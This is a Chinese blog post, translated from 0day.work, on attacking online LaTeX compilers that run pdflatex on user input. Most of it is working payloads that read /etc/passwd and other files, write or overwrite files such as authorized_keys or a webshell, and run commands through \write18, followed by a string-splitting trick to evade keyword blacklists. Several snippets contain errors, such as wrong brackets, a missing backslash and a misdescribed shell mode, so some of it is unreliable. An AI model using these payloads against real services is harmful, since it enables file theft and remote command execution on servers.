how hacking with LaTex

简介
LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档. 互联网上有一种在线输入latex然后生成pdf供用户下载的服务, 这种服务使用pdflatex组件在服务器端编译latex并生成pdf, 由于是客户端输入的数据, 因此具有不安全性, 而pdflatex本身支持读写文件、执行操作系统命令, 构造恶意的代码即可造成远程命令执行或读写文件产生恶意攻击.

文章目录

  • attack latex
  • 绕过黑名单限制
  • 声明

attack latex

本文介绍了基于WEB的LaTex编译器的基本攻击,

TexMaker是一个在线转换LaTex代码为pdf的网站, 在客户端输入LaTex代码, 服务器端接收LaTex代码后使用pdflatex将LaTex编译为pdf.(互联网上这种类似的服务还有很多)
LaTex经过了图灵测试, 也就意味着可以用它编写函数, 因此未来可能出现用LaTex编写的恶意软件. 但是, 本文重点关注LaTex读取、写入文件或执行程序的现有方法和可能性. 本文是paper的延伸.

Pdflatex有三种操作模式

  • no-shell-escape
    进行\write18{command}执行, 即使函数已经在texmf.cnf文件中启用
  • shell-restricted
    与shell-escape类似, 但是只能执行安全的预定义命令集
  • shell-escape
    允许\wite18{command}执行

读文件

Pdflatex的三种模式都允许从文件系统中读取任意文件, 读取文件最简单的方法是使用\input

1
\input\{/etc/passwd}

上述命令将读取/etc/passwd文件并写入到生成的PDF文件中

如果读取的文件以.tex结尾, 可以用\include读取

1
\include{password}

上述命令将从当前工作目录包含password.tex并将文件内容写入到生成的PDF文件中

如果上述的两个命令都无法使用, 可以用下面的解决方案:
方案一: 读取指定文件的首行

1
2
3
4
5
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

上述代码段创建一个\file处理对象并打开/etc/passwd文件, 读取一行到变量\line中, 将变量\line作为文本(\text)输出, 关闭文件处理对象

如果想读取全部内容, 可使用下面的代码段

1
2
3
4
5
6
7
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

上述代码创建一个\file文件对象, 打开/etc/passwd并读取, 然后用\loop进行循环, 循环内读取一行到\fileline变量中, 将变量作为文本输出, 等遇到EOF或文件读取完毕关闭文件对象.

读文件功能可以用来读取SSH key、配置文件(找新目标和硬编码等信息)等等

写文件

写文件功能运行在shell-restrictedshell-escape两种模式下, 命令如下

1
2
3
4
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{hello-world}
\closeout\outfile

上述命令将在cmd.tex文件中写入hello-world字符串.

写文件功能可用来清空文件内容、覆盖其他文件(~/.ssh/authorized_keys、各种配置、一句话木马等)

执行命令

执行命令依赖于write18命令, 因此只能在-shell-escape模式下运行.
命令为

1
\immediate\write18{env}

上述命令将运行env获取环境变量

write18命令执行结果将被重定向到标准输出, 输出内容将在epstopdf-sys.cfg这行的下面、pdftex.map这行的上面, 所以可以根据这两个关键字判断是否执行成功.

1
2


如果服务器端不返回编译日志的话, 我们无法直接通过上述命令来利用, 这是需要通过重定向将数据写入文件中, 然后将文件读取出来.

1
2
\immediate\write18{env > env.tex}
\input{env.tex}

如果读取的文件中含有LaTex的保留字符, 如$等, 可以使用base64编码之后在写入文件

1
2
\immediate\write18{env|base64>text.tex}
\input(text.tex)

绕过黑名单

style 1: 如果inputinclude命令都不可用, 该如何读取文件?
可以创建文件对象读取文件:

1
2
3
4
5
6
7
\newread\file
\openin\file=env.tex
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

style 2: 如果(inpute|include|write18|immediate)都不可用, 该如何执行命令和读取文件呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {string18}
\def \wwrite {\string\write\eighteen}
\def \args {\string{ls |base64> test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{text.tex\string}}

% first run
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile

% second run
\newread\file
openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file

上述代码, 第一次运行将创建cmd.tex文件并把上面那串代码的写入文件中, 第二次运行将读取cmd.tex然后执行其中的命令.
ps://\fileline将执行cmd.tex文件中的命令

声明

本文翻译自0day.work

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%